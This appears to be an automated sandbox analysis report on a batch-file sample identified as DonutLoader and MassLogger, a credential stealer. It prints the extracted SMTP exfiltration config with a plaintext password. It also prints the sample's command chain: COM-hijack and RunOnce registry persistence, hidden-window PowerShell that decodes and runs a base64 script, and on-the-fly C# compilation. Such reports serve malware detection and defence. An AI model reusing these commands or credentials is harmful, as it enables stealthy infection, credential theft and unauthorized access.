Analysis
- max time kernel
299s - max time network
279s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
- submitted
21/04/2026, 16:14
General
- Target 003 rfq_6000139560_technical_offer_submission_sheet.bat
- Size 145KB
- Sample260421-tp31pahs8k
- SHA256 88488520b70af36f83351803aab59debe6b031d34bd95a47276fbc040544c496
Malware Config
Extracted
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Protocol
smtp
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Host
mail.taikei-rmc-co.biz
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Port
587
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Username
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Password
dy8tm;jRtJO[:bG:
Extracted
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masslogger
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exfiltration_mode
#SMTPEnabled
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expire_time_date
2025-12-17
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host_password
dy8tm;jRtJO[:bG:
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host_port
587
- host_receiver
- host_sender
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host_server
mail.taikei-rmc-co.biz
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ssl_slate
True
Signatures
- Family: DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
- Family: MassLogger
Masslogger is a .NET stealer targeting passwords from browsers, email and cryptocurrency clients.
- Detects DonutLoader 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Modifies registry class 6 IoCs
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 5 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 11 IoCs
- Views/modifies file attributes 1 TTPs 1 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Accesses Microsoft Outlook profiles
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- outlook_office_path
- outlook_win_path
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\003 rfq_6000139560_technical_offer_submission_sheet.bat"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\003 rfq_6000139560_technical_offer_submission_sheet.bat"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Record.bat"4⤵
- Views/modifies file attributes
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C:\Windows\system32\reg.exereg add "HKCU\Software\Classes\CLSID\{9CE34EEC-2D5F-099A-E41D-82FD3579CE51}" /ve /t REG_SZ /d "System Shell Extension" /f4⤵
- Modifies registry class
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C:\Windows\system32\reg.exereg add "HKCU\Software\Classes\CLSID\{9CE34EEC-2D5F-099A-E41D-82FD3579CE51}\InProcServer32" /ve /t REG_SZ /d "rundll32.exe" /f4⤵
- Modifies registry class
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C:\Windows\system32\reg.exereg add "HKCU\Software\Classes\CLSID\{9CE34EEC-2D5F-099A-E41D-82FD3579CE51}\InProcServer32" /v "ThreadingModel" /t REG_SZ /d "Apartment" /f4⤵
- Modifies registry class
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C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "Injury" /t REG_SZ /d "cmd.exe /c \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Record.bat\"" /f4⤵
- Adds Run key to start application
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -nop -w Hidden -ep Bypass -c "$d=Get-Content 'C:\Users\Admin\AppData\Local\Temp\EMOTION.tmp' -Raw;$d=$d-replace'`r',''-replace'`n','';[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($d))|Out-File 'C:\Users\Admin\AppData\Local\Temp\Earn.ps1' -Encoding UTF8"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -nop -w Hidden -ep Bypass -f "C:\Users\Admin\AppData\Local\Temp\Earn.ps1"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\m0w0zydv\m0w0zydv.cmdline"5⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES42FF.tmp" "c:\Users\Admin\AppData\Local\Temp\m0w0zydv\CSC6D73ED4CE5F64E57896DA8AEDAD7637A.TMP"6⤵
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Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Component Object Model Hijacking
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Component Object Model Hijacking
1Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
EMOTION.tmp
EMOTION.tmp
Earn.ps1
RES42FF.tmp
__PSScriptPolicyTest_r1aclqhq.fve.ps1
m0w0zydv.dll
Record.bat
CSC6D73ED4CE5F64E57896DA8AEDAD7637A.TMP
m0w0zydv.0.cs
m0w0zydv.cmdline
memory/1700-82-0x000002239BDE0000-0x000002239BDEC000-memory.dmp
memory/3280-93-0x0000000002F70000-0x0000000002F8E000-memory.dmp
memory/3280-91-0x0000000002530000-0x0000000002544000-memory.dmp
memory/3280-97-0x0000000002B50000-0x0000000002BA0000-memory.dmp
memory/3280-98-0x000000000C6C0000-0x000000000C882000-memory.dmp
memory/3848-61-0x000002B4027D0000-0x000002B402800000-memory.dmp
memory/3848-62-0x000002B4041E0000-0x000002B4041EC000-memory.dmp
memory/3848-49-0x000002B41C8D0000-0x000002B41C8F2000-memory.dmp
memory/3848-48-0x000002B4042B0000-0x000002B4042C0000-memory.dmp
memory/3848-47-0x000002B4042B0000-0x000002B4042C0000-memory.dmp
memory/4160-88-0x00000232B9A80000-0x00000232B9A88000-memory.dmp
memory/4160-89-0x000002329FB70000-0x000002329FBA0000-memory.dmp
memory/4160-90-0x000002329FCE0000-0x000002329FCEC000-memory.dmp
memory/4160-95-0x000002329FB70000-0x000002329FBA0000-memory.dmp
memory/4160-96-0x000002329FCE0000-0x000002329FCEC000-memory.dmp
memory/4996-85-0x000001D238210000-0x000001D238240000-memory.dmp
memory/4996-86-0x000001D238340000-0x000001D23834C000-memory.dmp